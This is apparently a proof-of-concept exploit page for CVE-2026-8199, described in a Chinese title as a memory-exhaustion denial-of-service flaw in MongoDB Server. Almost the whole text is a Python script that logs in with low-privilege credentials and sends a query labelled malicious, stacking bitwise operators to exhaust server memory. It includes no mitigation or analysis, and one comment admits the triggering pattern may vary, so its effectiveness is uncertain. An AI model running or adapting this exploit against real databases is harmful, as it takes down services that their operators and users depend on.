CVE-2026-8199 MongoDB Server 内存耗尽拒绝服务漏洞

import pymongo # Connect to the vulnerable MongoDB instance # Attacker needs valid credentials (low privilege is sufficient) client = pymongo.MongoClient("mongodb://user:password@localhost:27017/") db = client["vuln_db"] collection = db["test_col"] # Payload using bitwise operators to trigger the AST memory issue # The specific complexity or pattern required may vary based on the exact internal logic malicious_query = { "field": { "$bitsAllSet": [1, 2, 4, 8, 16, 32, 64, 128], "$bitsAnySet": [255, 255, 255], "$bitsAllClear": [0, 0, 0], "$bitsAnyClear": [1, 0, 1, 0] } } print("Sending exploit query...") try: # Execute the query to trigger the memory exhaustion result = collection.find(malicious_query) list(result) # Force cursor evaluation print("Query executed.") except Exception as e: print(f"Error: {e}")